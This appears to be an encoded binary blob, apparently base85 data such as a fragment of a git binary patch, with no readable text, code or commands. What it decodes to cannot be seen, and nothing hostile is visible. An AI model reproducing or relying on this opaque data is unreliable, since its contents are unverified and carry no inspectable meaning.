zed1rbIqjzlZ5&jCYK$|%1;;3L9EHZ}lrMHyW_LR)fA9VUW>1GFfrDd@bU@9oTfUQi ztWE7Xi<;n$E9^QCmT*loJF!2=P%;mx6_fV}OJtNN)vnu;RgMC;QYP@yEFZ>CZ~LW0 zvAkPLvW;Ro8|Qo@(Ps&x{zj#}^B-pL?lqUNFvY|p*=n6E9+rnt`!0;`AGo2Q{t@th^*w6nVNcBpeWbuZOsTw9Q4!Xq z4tbncvOX)!iD?+g<{O!}P>V+0d>|{14KO(=F{Lj4>nzpsf`oPH+ER&aoTl>X>xTCA zg6i~*bWZYI$byD5QXnErlovi^lP7PdDdm`?2HNm4uREy`MhSE3W`vFf6WP#{41&Y@gq*bTA8NT0|ij-rwgY9EmQ@%~_aCrzAJN0bU!48Gh zUF4kfMr_z^oP@=Edy>kW5U6R4(bIIr-*OJET&W>^1ZH?H6=-n8g6DPf>2bIS=o9C8 zD1>T!Gp4i=0~F_0k5)DjFjrv9dX{}ce%r>(Z!bUE@G(8?@DbPcii%)LI|B_mKSH)P zHFaO`6kTTN^1Ik?nI+dM$0d|aKdd9KjiW}hXhELQHKlu_Dd(@ZO+38eb(ka_OBP=K z(qWL@m@|?&`)R{fqLg5`= z>Kc+vD9DYA{^d0J9j4$w5F5*F&BmHnMln^1PVR{BBA;7igkpUvZidP;F`ADbYinG2 zdWk2JxMxVH9icKhXx|38x|APWD(Cart7pMsY3UX+@>5`qqFiuoE$&Yyp^=qejtpS> zduHx}3f+2u*sw9(x!QxNY3aW4v~p-X=kQdMH5pAT5fp}m-zclH`gq4-eQ}~om()gG zrx{Lknx-HA2HWp@EU?JX@N7P}(vaRUX` z4GCjp$v3RVWUGHw*ThPml(t|zP*fm`$^$~mF^DRjq?12j(L1yFp2R|&_{LHHyR>ii zYj3Y{tHQL+TPOQLZh(gNn;*crU#7j4m{2z(wVV z^7~COq}wdZ{twm#x$57}-VkZT2#csT1YKHF<^*#(t!tFt>Sa-w(RLAMpJdhz?rcFfLJT18gx(1Qdf#0VU}ic0{SJG6 zeP?z||1N_yZ9)Fy-WsMxS2F0>e``DOH7?#gf8vabZrl9K45<^P3RCA1Z9?HSMFTzmB`N{+NMI)5IQ#y}ZN1u|fcfc#)eld8TgnuiT1UM78D~LkQ6XFJc zhj<5l=h}bVzk+B;iWThCpXC=pKE@3}UmO?{I1(fX_Lnd-xl=zUv)VLVIxLU$?ui82Zp(?s)Xg`}6zT_*4F3 z(5J~qVMewOO3nK%S6~aqDi8P8H19A+->2)((r5V#O&?F6YNyjb4^j`R3;dbvD-II> ze=^z54EmVFF!r4Jm^0s2;M{RaMEWSbqfQ@S|5a?6t6B5JJp(`M-Ks_UU*(2$* zVA&SUWRB?-;{{Iya{|-!H|)dh6YnGJ6X+BAa+bSq1nkr;9HtG>+t?##gqdzh@7R|)xkkqX|-q&aZ@MeG4uOODej=|HwlC~m~dXPrJlfgH>f}#R@ z0}BHy13w1G0;{(hk&5uw^zQ@<@$Uq8@mK3(>{IqX28RK+0~7eB10ll`<_R_degK&Y z;p^|YhOh!|4p9Z(2F42J+6T7w&XVuwWW;I7ea|%9|h_i5hwVoCER^A{XNQ+YA&Jlsobc zH$f7@ zcq4x;KFSXL4&M%G-}hWr3}(o>{WwW91w?9aV{lV&RIqyg0zu+le<%MWf5F0u=|A4z z>M#^wsKE~)j=*yzvZa`fz(3uQcfqN^Yax6g+;Qu$X5iz&>A)Gkl5q9Q`(+49@CpAO zw^;#yH!wReB#2xXZ*?!;z_$nR;Xl3%U+a%Q18WY$hx81-gF*~Er{e^dVAPKd1uVT% z{~MwK!_zm^5VVH&Mqq{mt1oxyT7s#lygP7x z0>7|!82YxshvS6E{K_Y} zT8U4pf-gx~1=%*MA4~TFlbB2Zh;z`-?0>4lzFiBCA}S&Fqyfb2l~FpOcL61`Hx}QW z#sg{giH7V*4BY1lg6?N9e?QGUGeN zV@0@8XyR*?*S-^F3~b^C@TYuOqNp3_>}vGTTa)zL>^LGKx2D^~ymP{kEbW}@Asv5n ztt_D|CMUBaCI4tpq~q?>B>o~k+k3$&l^@u<-S)~<;IlVi_n1)I{Omz(#+I|7ARZ;dNpm6jtC0m48FvjUTTpS%zz3Yf!FVW6C%=`z1XNgz* zW|_&cuuwLYtEvl>H^@{_dX<$RV3$0x=wt5Dq4}!#J#Ba_=g_IeXG|R>9?H>R9nu`E z(TJWXAz?XcM>jC;zlUu|lNX9tN=cJpIfzEl}V|#Cv7Nwd9;dg{~ zEE40Px~2%>?18;=TNOZt4wc6bP#}wAVMmDPo21~`W=5UjG>~IL5RY+n;DmTC=T4rV zGcgws5H-f8rB@*V>q*H|2udDE4-3PIu?@~Ek4bP4p9``lS~X3HZns8nRj596#KCkz za^i;Kr`UrAG<(vS@gS8^{JHPj_xa8X0~VP~99UwXh2(;<$WhPYPR8-)_& z_&j8QMK*$d6*a%aoqzHvrt^6SM5Q{WOXh_U5PNRD0NBHM(!TXGd&rD1Cg;BQVgm_V z^|*!o9NHkN4}kck*zV2(e4cH>>6+HQnp}U%dZn=oajD|gfc#bYH-${mXqLN7$oGpk zaIYlXj7e7d4|P$B0EFJ+SRG(Nj2QByQJT^bd{G$17zzAagD>&$5x$gt)$BlugSOvK z#vha_UO@cRo*ZCBcUag5?WG7m2~0_CwD7sgny^$FHR;FTXc{v85Z@A4QL+e;?6~+Y z3@H}3;%1{_BaV1Asgy&64c>#(l7trnP8y@nc+r5hq75!hsmUnBlt^gBd!!DN`D70t&$= z#kIo%MS0-Y#Aj>C6^6`8e3<(dJ|&Tt0n%p&V&w8jK22~#B<{-+I|6-YU!!XP!E2e0 z$#{R9M6q*N1~$b@1+zh6^NoyRCi{7#vT$kkKg$I9bewsRW|`WLqV40vTZ?96?Wd2s z+Qi$iBwr=*P6@j|B&-@|*QA5VZBYd7&V2(VOdGF+U$n=L4BHq2Z8AbrHp+8~r2Gdy z##ZTPse!d&-bb~S8@3gwc#hZI@! z^XvOj?=BgwY@|A)>^wF0r(VVDHyR{xfHd=vtnwnIDb*jHCy()RB9HWsWXmR68%o2X z3pMLbYLc8s4?7~ABk z81+>esL{0mv4_jOjc~h!MijewcE*6XU&{n8t)m%WyQTB(wq-o97G+}AQTQWbD?_+j zL%2g`tb)@^M~sE-$L8InbAsev!5iXt0Gi0&sW*|U-It|JQ9tBWy7s*DhPIt-k~Lht z&%!G*m-YnP!VnrcMkie}jSYLG($3Rvoz}3Xk)e0lhaQddAAnW-soN4JSik}{e^crbJA#5AiweVn0dw zNM~e+V+f1-VdYdYsZLaPgu=n)&7wozVp)1|x?^z{rdV7(B9Vt4KzDxnsop54u$uIx z$==EGf%>(at-o7%Y~e(sE$q3YPU24M=PQO4=rCK`z|@f-tViS@*@p0=5)IpDp`Y?q z_JqT?E^j)`!R|iwtyGApJ_Z{n<35$)M8W20N@VRSPHC24T-I=t)UKe3VbuZ z^oDdHlFr0!npj)J#t%JO5vX~u_TuUDWJ?EW&9g<5^&u@>62TmS{>=v#CZwaUW_PF) zUgTmY&hqcHQE#aNZ`AgZTIu-JwgV&HyLx>#m|Kq>Z+iw!x|NHX?J67)^3N-%wq?xR z6Q87;L(z!<)P3_}AfxiHgk+r5&v+o*NO9&^sCEFlK%_)yNpHWvMtAa?aQ$#+;Y+)Q zcFa*(8Sh-&89kHaTY~SdW1qdC&jitx-sr<=bmpg0H8Nr??_H7N1iN%s$&dEv2dc4Y zf}w8rVC{#l1n(5q3E5*2K)ZU(m3se24YOr?&xCxQD$%J#$t00tZ((nYHQmQLM#xt! zE}Ip~Db>+e(?&`f9ZbKlg9%B$S6bX=2ItS&F^sK8lL?y9iKTLiEUS9@6U?*il8tpN zsgA0GH-uH)(Nz*R9~qa>-Q`165`(tDD~iPQyxGeFMWI&YL(5};RhhOm$f#b4+SnL?tN6}=U7&6%yXvkd{ z-?z=LVhKJ0_tt#3hpT!{aSrt=!O^=ID5)IhOvDfD5KXO++TQK(HBLYASh~kueI@bR zEXg);*X;OwuV8M3>H2&xvaWSok ze;Augk67sKT%;R&;g8?{<+GIbNe)zuUHO&_YRfhPWU5}P0qyos?;^>Jm?-2(( z>opTAOVGFA?q&k4PYwE7k&FSW2A3p9HqL4EQ|F`>#p2lmWHKSe(^SDrF=-YBgBqwc zMsZ8fWCPK~Vt-zwGm=7Txx%a@XYXsC5*q55g@sY>mHGv}bM%eV=YANFKDCHmw-%LP zY+aMxCOgQ6)vAXq$H-kW(y)ziYTzXjZm}~mpvV!hTJ|8 zGuBQdW|yQ>ojtH0r;`_x+N*G}dmDnOTHG9D4(UTtnLL6xmp+cIy;^>WJ%va15f%p` zdlRZ4H)is&CDCbNFzQjDJZ(6YeCJM_sb~nDjo0%N_F6a=FDxNykYLIZ@C`oMi?RsZ z3$E=u|KQUudgPP3_!&No*1s=yBsSrEUK0I)P?no;iN^>;lxNc6z>Wb%58@;OLObWJ zMadD*8V9()(#}gxRP$ex2rJ~kK$H%$JSW?*SjT*q6jEnctGs!ONFocl52o@7L9$;0 zWAn7+mdHOQa_+*B8NKMkI=lEK>3`Tll^))+4x*1A^m0*->X=_|?arFF(9Y8i){pA= z!Pj;|^Zss=#C9djt-Zu3PpLuZW0AQd@40 z%%W%Q!g%F14|6i@e^m)-xu}LHs$Pr*fx<&=0Mdpe6=Zwf543Lh8(SNBgUMwI)<>c1$v} zJ>*IB+{=WskCOF@p$oDzU|*%^%1#2Ws!Ta9akSO;cWB&IO|6%@!xbQ)F#(`BbXd5# z;9^|{G`Dl*xD&S63`<9hhvbyx?kdZ=W7gtQe7&(x(P4B<@VIV@?f`~usNVN%v%GIk zG!((A4|~N|v_x{bStYPaOFfYOC{4DiiTI#CR_R>S$y1>!S(DorV{R3lY+pg%8ueQE zEu^ZtW_v+7>|5J{tUDby3T)aC-E-Kx9;SAGcsIVEdNNh8hg??WBAgYF8^rP|z`6(B zyZq6;71NnFWO~tJgh^35=<---flXsmb=B>G=lxo~QzKOVMfEqPHdLz6i zc!9^Tl254K8Sa0q1$ar^|JexXF+7WMZO`l%H++a&U4XV$tx;|02I;W%&VUYDKd8fy$(tzPp=<>9olY?S!t-ad&R-c z4s-fl2_K!JbvpcAww&J^0Y{@Ztw>Kqk5R0muW@*$t%!}SpYIWQ-OeYpZ=h>w!NemS z)?wC(D*{uy9FX7o2s+T_^DhG?jmJ{`-)bWm!t9S%Ro8zQ&t)2)$7cr5XrZfAh>au2 zjq*6Ac{~#W9_b%r29LJ`7rnm!LLps7ub=e9KrDB-afpq0q0J+1*SU{dw%bHeJ)aY2 z0ku@1;_XGSnDtzW98YS1ma=M&hAMEou0>jJ*&ke=U(1)_sTcP>3+fD|LEBX%$?2YF zb#bAtr4&b|vA95gfX72u^`ir(4K1=hQx1z=Vvx>)db^I1wD>v0YME2z{Od2`X}gQ& zoQiVGgR&7vR)gu;BM}}{S9Qh#<`t7~H-axVH*2U1h_-}&hB@KXS;AjLy<%gga909NlMH+!#hq#O$?BEX z@saU{8A@cTODX^pm&oMxCOO*b#J{y2@bu^)Yf>3jAL0$@TMETz%FCp^TdX}=+06C+ zN<<~wN!*I^N~tkx>%ev~t#CFh+J8!=jT5rH~T1-tANTPO4#-sGgvoga>0VnIhw&gF%(pstz7<9 zYh%l^`?8`%-2jT?7@nnGUfgPcerBu)q$NA?3mjsJ@dV@gSS%@AWa^=ws^x?lz6Cd` ze1+lei+^q<2a#8ya*y((`dUf)Wp`}hoo46ZR>eHw6z9Izd^AojYr z)|-KC7S-ezA(Y0jCb)K;&b0aW`1(pzFQiIZX_O%|*N!=J;%B`Pz0t^!=7@aVDwSL& zzM#n&2AsN{%fBY8nr_D1SG-cHP51dp)}F_I2N|ss9qflKs})YRy+&7EO}qrB_t#qS z2^lFl`xBGnOd4(Fb>;5$R#H+HnjT_@b0%)vjow3Js=t3PRaMtibhp~(y!E{P!^6eB zwzEu4iOJ%y^Vs=Q&9L55G_71QL^G!{ibE0`?OJI!MV?ygbIh^05TBt=rmnI`_pV#% z7uM$Oiq^BFwwSh5MImswL2tsjsPdP6Dux};_}G*g-GHfD6S%0cJfkvT`%6U)=IKnS z-SX1M<77z{&$yVXAHH@tH1xH><-FYqdLWEjO|3e~2`@9W-OOl33o?6B$<;^130;M3 zj+k%mhK+5+fNO=lRnMYkUc5^>xrY)^QC)4ZH(V-Br_)*rXICP^a7-@|MQA%w}N`nLng@-adfI7R0fnD#3+milxd9tsF%ySXpwml^JN6FueBG zfR~JTN8rRIbH$SYS$(0YefOI~Wf@_vfF*7ZDCJfSNNtC5X0KF%aiX7KOefExoS@66 zGALeTrt0T|bwX_~!;nn+OJEAoK2R*=GMoc7r^?JZ(1lxye8iRxAb^@{X3h)pAZQoi{{(8|+AXd!4GeEU-|8@k)oEOF|dNs|EcyiRbk06=V5#$oKI_G}y z4|C_YNw-WkB2_o%kN28@UW=S^oUXbA-OLq6Qx?=_u0=krXyl|hm-qX?=YQDj?_wLx zv9}xzrJ4iW#1|106%kLNQ|MvL=kD_$#4dD0vgy^Cl`9MyJsmacVo~I^lhX=lqut&w+!Nl*0fRj zgqA56hb2{}yri)&{Zvhyb?tip8XXUaXL#kg#C?wRMnQMUNzk2S z3eV%Jh!S3JPXBZJ+y$ddvFLQGReG-n+yHREgV`RHx^?;I0avq|z7V0mtFt6MJs4Z5xa*w+Zril=6Dn9Y4Ds+O;WR z_#3XMVpJd*cL~dap@6>X`|OSAzFZLlMf+k^nlX?-xC_FQVy^zuLGwYI?x?UWh z`CJt@7wXAV0aOAS+Qt~qDe1xd;BV6cq&@%ftWI6BFtIzrKF>gHkz5$Skjm4RHO4LI zvNrxsq5~9l`}A9ID^$r>#5Bl%v`rm+ZizL~NN~$x%;ci@V-bOBS)!1)44^C*tu50o z9##FeSHjvCWlq=@F_M;`L#~pis%T{id7SWoUl7LTpqEK%cx0a|`KF1LQX~AXQl$-B z_3AkaUF}VBMKj#%#ogqK2kS6MYpdMd8zydDzs!@g>{l3rQ?e$l#n#JW6H>z#X@|Cq zxj5ok6BqASsMaI-ITORMOa|gQ(KGH;FI?4`%b`}|IS(OGS3D*aFzAf)!mk$D7_yky z^F!UA_Y;%Rl$8-QJeDm~`SY(L4s%tBWjYsWnq*U?F;scUMeX>OzQUCCq}d=zW!s+V zj}48zonC9ef`)~S2y2#ON}c+jAX)c1IONS@oUNm`ERE}Yee~e2<)s_vP!;X%nO{6Y zHjB8iojnB|sS~f3V*%vVT6BDBi#8V4V33*A<>Dsy_O=ArtOt# zlqO`*hV{O0v+U1HWwp7mZ&!n@VsBe`k016cPhYQ4grmyGU;Z(k%}IX)5-6ipdWe1J}#Bi^ezR)WAbZ)eLT&yHkb$5**w5mR-qs zL9}&5Vl17M5l&j1%<%+ABa4fY@_jNyiAIb&6rDsdBMiFahiu`#wTL3A(b0s_(2vBQ z+gl@^xlcatpWFX*w|yCxYqvX=yFyH(a@me4*Vx4$uD8t8?_3 zuP)-eT=!`m<}14KXbN^094^pMUUYZroF-6e`nH72yC`tnIQF2v>30PljQ^|UJm@=O zosti<9(`{@Uqk@h5zF509OO`WLoa*=j-Fk3ae45IbCbkb_xhX!Ag&Vaj7oO`Qiw2< zHga6@YQe;LOssp}vXcHC#;jU{V2?RUZE9DnWKusL(oIIGP%ay3J87$}{Mngy=V)ny zgE+&74?Q!BK~8W4yQC*J-KoRrjS&Z`szs(l`K1n2Zp&7cez*a7-o1T&e7gPc7&t zMu%zC7%)isWMJ(+ul$cCz$5#20Oy~+jO7De z@BadU8_VCSNiJ0zWNFKA5?#YTR(_`8BYS4T3rZkpq}@aLc1WzXdhNH8Y9SmX12ci@ z)MoxRTt;P{^I|YiP^DPM^zTYl)8co5yt) z3aI}$TN$YBOsksgmv(dgY$+!t%w59{#)$tnPirf~?n7Z~5~^n14A#))G+q?zM`cRTkYZ!W)0&GcoH)lj9)h%jYqY zjMpMGAkk7>v9)J0F)&m93kyUyk&b94KqZnV7?Sd8)AO`e7e2UnCiZiU1-B4{3;=+D z;TI7Ve_*K85j&Rdx0 zcy2?iH#O;QUwQh`kN6JV?(X!~j^x8=jOujB%a9sWEb5MVN)%xkwRLd(!z*H4pyE*6 z_-!n%J?;oqnvU~8Z?lIIp;2&vyF3Aay<$6Vvz{;3VizM8FM_1lax>Xo*=p?dGo_QD zwK2i~2C-yxShje>^14bRu+C9N`e~8kyy#!Z=7AY1NDoK_LH`$|zeJF6^_`UT7(Q(R zes0@*z-Zam6qS;6JI^~c|H5nGVyNf4p^wW#)K67M@6!mY0lIm(@ex04G9PWJkDHO_ zB~H?7j&#$zcExL-s912byM6G4;%Dt;UC*j;gJ9Dpg>5t&X+Njl z-jG-W|3hek@rR0Gy_j@dAjhfQ!?_3v<1}pOD#A74XLq)Y|e!ex20E`qTVL6Lu-sx`1Bta02+ z5*Q_3=Aka5#D9po(=L|+S3DD=zUU#nLcg+J3ZiWt1<j4pa3=cA~hFUi?~#twS`R>&Fb9gv~ASKVN6~7h7ojOM;f_ z{QV(tdgFiGIO@jZ%vm6aUVrpF3V!piOl64}I&KXJa( z*W>(%l|H9?>e>FY0$R>4$T-tRCC9CCJV6GTRmU}|DsMHuG2Ffoj)+6Lz1{g!5-9{^ zj8waUd|{1Y%&MOm$CgpLLJJK%RpIhGK$c4Ibe~cR$UG0a61337`eK&9ufO`cnuLw^b1F{Hw(god zdj_#+it3#RT`ey}pk8+~&fgMw>X_diGxeD+q^7lCte%uEJ(wCJH0wCOrS z&@^aPu@IJUOJn*$EAhzZz2p7ii@_0gkoa7gd7sbhRv#vG3!ON=?d!4+VN9sep~pB9 zZs~V5CQGP5$a&+F1Eva^)S+yp$~I!`t=trQS^lk^m67`^`U0(aDSucH)lR_eM^mxL zJ_e)mqr8k@tq&X@#&%h>UD>--h8-vl5YO$-w}V2oD9}qW@ur8u%Q-*0oOste!@OzY ztbn{_{Dh-k_KKzJ5{d-$hzi^^Qv{I|CaH;sIdM>^MJ+LsybS(Ek+ri=({|KiN^7{L zEkRrEB01KFqPs#FdgFI<_8OqfosY4Dq_$1yw9G*s#0{4=jbMSklZ%I9AAQ$VO}WKnQzmcNez@;E`UwTP{Hd z{X}_YOhtPmrW8pSRB-ndR21W>%3Xe-9xN(YDIyZqBPZJ27OW*gCz3Xb>&#*t<;#8b z17=4Oh>atJE9HFm(;6o5sliso(opew%*Ed01QWU7?Im?VXgQ_ZEe?#g7dg=tq7Dt) z1@X#m8I!R6!J;&EB3oGuvKQK?sRN_ID1Oq7eq3nu?SuutWG$(}#8Lm>m?STNy8oNh^Jndm53^ro!l&RdW?? z1&#_j&rxnUuVOL=$uXvpY9nP`k@X;Tclg+_ ztNPJicU5+aF0to&iMjm`WncN%Ru^>pP>OqLvEoi~cT%8*wzykyD;gYvB*mdn+`Yx! zU4ma?)#6E?{;}7x7Je;h zo2Zws=fFHStf-}KRXhFKcKqdpwk1y@v-OtE$7;H)!I7oY)sO4?Kfx@Rw+{bkxK?Gy z!5psowlu)Pur{^HhpwpqOEks$C!$nS{;j-yLKzva(~K;)#( za*%FP7Xwk*$03{gh=22M$jR+6wAs~Nyt8~bm79to#>HMa3DTcE>EgU!CyOH=V9Xv6 z^?=d(aMJ3%2!%N^_4_{Xmy$QhI;VHquJK0%4OY(?&ArCAc47_hTx*}XQT}s4WB@dM zW7-`lY?!CR$W<8pIJX3P@zkVH^BU2e{d#r&_IE-OJEC!FgyBc^s~2mm;ybQe-qgh@n`Q^B2u~U zn7hQEykCV~(~U)3UD8T&^@V?7SpNS6!)uiR;z42-tp%=M4!ruz(Eg>Dfe;#e zwff0>Gi?2%#M?`s!56s>z~?W}z$xNbWBNQMT98EC0G+6eKF7Cc=|fDL$uHd4LkzK$ zbeyk-fVpl#bq1^m<|!O`m!LWxMyUVJpO=ydOqCy+^WrjLB#^nXdohrN?Vzwy(Vc$y z1`W7*dYOF67xzfl%pJ#&_n6}bOo)n+lXu}}g#J$%MXJ`q@=gBB^+#{gm?w#s5zP$u zqKtruDWa)W)d%vt&=?PjAr-o2_7_*?r$ZK1F_|=+DOWic7Do9m;!!&TFNP(x1n}!a zD!G@WWWRt3hX`mzWgfr@XJIcvC}UQrhfZHgDhHal<-adkwzK*XOfCO@Sz73e94mHi5>B}wFFP6{tlTO#PiJK1Rrb8ZATM9gEG*4)-taZ&FZ~jl|fg z?*`wnx*PSa+*h54q}i+0#Cz)ZG&3IZ#7u~LLSFB_Ic&T8iLjEDBswGp|uJ#&-$?PKU zhnDitccWj(cYmEf<`nrRrtr5SKhTr0yoT0GY}Xp5Zq3!!ikdE~$X{Aq>A5ttxtq0tyy}rV~@9e(()~UHgynn_iy@ct<1thqU#B0 zGxYkCUHyOJ$cE-C->UBKXPtjpkDf7FCArfHmMXH2XeiE^#%mY0(A>bP+$&BCbg_oU z&oXKMN$`$ECUTlZpR;PzmY^w{XIj#0-?QKbCR#q1@|M}Y~X3s$b zNoWCdh3wx(bW89aFDaRxTrrW_69?YfO?_(dWL5tTG%X=xta#XJr(9Qb#;{RyCIq_; z*FAlBl(Nf?Y!|6I@!|jsRSz5&*f)smR9x0z+UtG2R2Kzd6-APa(A=%a)~hJ`bD>nk zw$3CrEj$+$>3%@*jIzXhII+Br|E3?eVN=j(V3Q(g1RDMmSH*2^S{R7sjtm(px>1mU zRBWniIe7T|*0gc`*lhp+4{0|brM_o~U>q!wW?4=x+%wJavNe&U!j8{zV7|?5y++t$ z!3IY%|6%m8Bv~o=V;%3>UqbDXM!9TaqzNOGuD(3Zzxb0gGjKv@NzO0pg!1mtPp6tM zW-h8`55jQ!O5N-B{DVNbYL}P>#)ipK1eA@d8%E+=3b*i{Uwfbp&a0CRS%Bd;@Rw*I z8VR`9-FJ2CWep4WE#JFz0cfpIpk$Wy&EtNL_j1YH(0{PI;;m(pkFlZG;=*VR?FP8& zr2iRSoUFy!dw@JYy3sM-YP!ueJH1d^__)w1dL87m`dT&?PP6*ZDRTKvrCu0>Z5=XS zOqX1!8-!uxGqg_;LSo+cvu1#wnZ%qm{6@qhP{CewV?3= zRdUwfrR-}ysV&AmwhcEUKj%`XFr&~LkPzN=W}JZX61{ATg;USvELI#i@`&rNq;;jS zwWpa&&a>jg?F!j4lv{6Uq>C98o}{C9a_{M&(?FS$1a#FSR=h`TwxLH`+%q+@z zP*IuGWg^JFlKpoURJ$9rM+7>6G?~rZ^ZWRYB!3>3H4OKC3&B~=ZmE|V?wPK`*eXt5 zJY}ChOAb}-`xi-qC3HR=tMi{6H^Mir=B-v%%$X1xSsgLyL0tY*L`8Ez#eWU+AuD2Y zYVdrwzQiHyjkiUNkH5{)@}X*#awthsVA_$UuB>&((z|zbx6$1orhFlnr$bMjO7$Q* zQTWug&5R#Sy9_dnUW7tnrq5Dkd|&X-uZ{jmy6J|%IP+TEns?GHRVAA%pKT>`(#c@# zudIn2F7LiIbO;Z!cg5J+e^TIU?Vw#kXPPkN+Lg!D$auCaZ++9`&|Wk~C36ojoD$K) znn@|Vu~$}uTe=y*dvUuGN(rDyUtOwm~5)?h! zwR9zcB05KzZI+v5Y$16Az||_uHITxOqIr#Df=t)+NBRrN@dSRViM*zMSnua5&-#f+ zLDwYp-OneihOfn%OFdO6O&$pv(F$HA+Y5n)u{72pf3h29)cp<5*DY^3tl+|n!}@6G zo;%ODJm!r$a}OWbl83T5X}e(SnCXolI(I$qa!W*Jr4-Fn8nH1I(r{VN%pajY?oXOO z8P`QEA!K$rhO;}odXDU^vf-HN4??82cF zl5IaMb>6f}C5k06Rx@#Uj9!+`ATYJnpsb^7V3l{>j5y4!+6fiX<_{L@@| z<%}OO$wCUf^aT-WqO;(PA6~)a4wH0S+(e@wkFdpZ<2|N%iUU33#2E~pfZ9u{VhdYp#8$B&5wFw z7DnsJq8Ch}pHyU~jRCWA9a(hncQvbdooOM1i~}02qjYb%RTk5+Qzf%rhu_%&qign$ zu5Ni@L^j%LWk4?b#~@FyaH3_-&v3kK)A_;`8!ox9uX)#d_jsx>uSqr*xgB1g^eB?* zTN^_THM8k$Ex#-~H&&yW&tY%sGWz0I>=t2lM;%<>R=ic~UAn$E0P@_k37LL@pa7*h zlj!*)YC6|sS-DFHU+n|~xsO5nNZ9fJz9YB5MH{D@~0*FIA&!3Ir zVs<^gZ$q=kZ-T=2gu$eK6*apxx3r37Iud&vKbk_e=<$?ff}q|SW7j-KQe^2rF5b}B z1?`?6u~dQJ!lHEabbF~|1^;?(+b>z#IH1a>C{rJUZ;7rnNQTleEB{w{K@VI5!%_Trm>O-c{Q}1rTZy>|U zBI5WwVVk97BzuqBi*=N%GU7%XZk1{&A5`=Rw%2MTrKuLJ*eE-dfWa~PTXyflSW5?i zGUp2qKp#w_fbD!DAWYBWQN^!uo2do1e!rU9U!j5+cuU~y6O4^)ql7)#J;!#+HYJ5e z3nf9Vq_iP`*T)Xo!xG<5;Ry)1``qHnW=RO=EDvAYuBSHED5t z8AS<5q^qP)8<0TR^iz7=iQ3;U;agX-SY*}ARnEprVm@Fd0u;Hj@AgpV8|GzWIGCj% z1t>&jIW(px?fgii0ZE1Z2Ji{iFCH(iWnUyWOWvbFF}obIKUdB(UcYy=oRS!82>nXK z+qI&8wbj(YiTa;1z{+honns%R<~KU>V62H(Igo{hwUwH9Bzh8;9v*;Z@E&<}_5)1Tst8`jj2mOS5-hz_)1`YyT)k zl}2Gja*>&;<%V5pI8ev_@zOJp{b-|>hNU7+Vf-}z6u_%lehD&Sn^)7YosLjTCNbx+t}Euaye9U zUKlUGN$M(cT+&iRdwc(1f%x9+xT52EGc%8z-&$bi(`lcXk*$gT(qQeWAaJ2HS}#=x zCMuS>N;3)20HjJKn-?f|SU$oBX)0+H_kpFK2I?1g6QdMwd9=>ar4HPz8UfBTrRn6e zi`2`;1F%pAbB)Y@N|Js;`im#GO5l~!K)r;GhmM<8%H`*64Tpc$);^K=R2JhH<>AHJ zdw=h_x7@H75RW38v)xZ|0-me!Ua;q+7lrxWvIZ4CLL0Ml((r8!yno}{X2-Y^Xp69v zloHDp!LRns-}ZAw99&9%k>C2dKepR9AmJ*?T0Ej1k?jVVwQ-rqb4|AEyYJttru`ls zr67e;{20E!4LLo^q_1A>wZ_hkaAGXLVzSeQO{EBpjpO}NRsl;hnqt#uUy3j2sXcrS zG&BfOW$5X|Jv*!_xsjl}wGOwk8*c)?R{RxkjOUsYvefSAxUrr2ZjM?|aITELz!fnL z$I*T%nk{H&2@d;!xwDjJP8biOJqP&+lM$$OA+U&jyCzuyPPq+sx_5KzxM^4IPaSdn zpziRnxxwD}SY8--*}n<29Z-P{cB z@RzPvgjYJPF(SqEpl2^T+abTx2_-?n*V@JCi>gnKdckAk4d8{%OKJBC zDLiA{OX1xKFMyYYgWvl57rsruXfL+VUT$3~^BVn|9tXMD1`Us-2X59cF5YbS-r~7> z+mqKna*YY0S2_aK92wP;jECksXU4P_dEDD%qZsf7FcHM(=%r~)+qw+z*2Si6mO8K}N$0g|90fhj|HAAwV&>B-dh z8>N)1-?_>teriad0lD(!HZL}U?~_kaoghELY*LBCAlLSiO=oxi&A=x9CRyKatUW>+ z1@7@WKbvAsty7Nvut|8NA_e@Hv^B2Y(ucU5SZYzPY(#Yec9oQ%chyJgeLp4ON+$TY zyW|~loAIY<9b9mgc7+i6e;pWfJuZV;Eg*2gX>`PN_%>QX&%xt>9g@ge2*XtILgWitTF#zxL3IKnn?nPrmceQ4!6a z?I(#Jgk&pfUKizF{ng=Q8Ngt1tiwuV(CTq zx88wy{aZeMPkT=ASzVyTjne=9AyJNJMi9x0`3=wCCnf1-vdb?rY{#JTd z_zD;z_cKruIY-C(r?!c^*S^!!l&{?`8n0`y6V)=^v41PyYwWo7S$5)_>|xJn%%-jS zZ;LTvjZl|&1f2>Xzgcp`4xJ;Cov^*(XX?JA=X!GBJNn#1$l(d-FG7-s1HMyu!uk#f z>rQLfNWDPurfx+$j+ryS1DtU&@B0(?kZ4fG?3>l~i?=HArbapZR-ua|YwOSN|B8F- zRm%sEyO&hzQ~;!hdn`qgIwHDRaOgku1wv$#6>qYV45XUU`a*!dDqrrsHL^y<8ZX^6 z(my7uKsPIpYUjb}PQHQNwW2I7;6Mi!L%SPkT&@Wxq1<3=vN>V>KC=1{elCNfLL+tR zkmbrB$u7P<Wzkv#cRG$c5}HaVluVRS9UnB$AJJ#_va@MQtq&F83x z)Kv8?%0V3;q9!l@h-j$*->w;YpBkEYrtta<42(0k%A2}FrX0qVtjU)fgqZKXQwC3s z;7G#%MVMP$y~}z^6u}nDGma-Exg=k?;6Y2AC)^u%fP{MvW9igP2UNErObZTJk!;nnMFzx3O=zK!%@51VH( z3F)y)JPm`2kj=_gFQAxl_J8s1H+YeS6?c=W+JU|guV>P46a4mEdIqlSIjseiI*UcJ zGwo~x$g@y<-wWO`)4{qy=8|$8=CmJEki#`!MLb2vX3b?Ow}%mzA)vYV&eF!hwAy)$ z=o!cEnB9JEiaLiQ@|U^lAG0?u`?syl;S#ULRpu`PGS8aaZth=#gkbRFAiDvM%nf5YG};EUI$WD znvyye^c^_#myHLXh&k>oXuHmx%V*3nJ)l!ukb?7_S`#BbY%y=(EoRvU=Q{}LKoQn& z_!vk8t!DFUpt$h&E=aSHahw4!n&Cddn$&dwCByEn;yDwkP5jespxNBnk#NR{{H7{3l*jELCL>PjgGLwVu(Z6_~^I_!gNJu z8iJHUZ1ml$fMu8Jigo!P2vdK@gt$E)qBLYbML(2t-u4@7D54tNLZ6k|^>(u1ei}fV z>}RBJN=^cV<^gg^(+X3uREb7`0Yo_OF$%Mhm!UQ@-N-JelmdQ5c5MWVAZ|d(#TT(j zGh<9V9`?-Oa6#a4k({4NbQ`h?C(zT^2mj}Nu99e&^mSuWW-;#&dADL4@je-I^Afkw 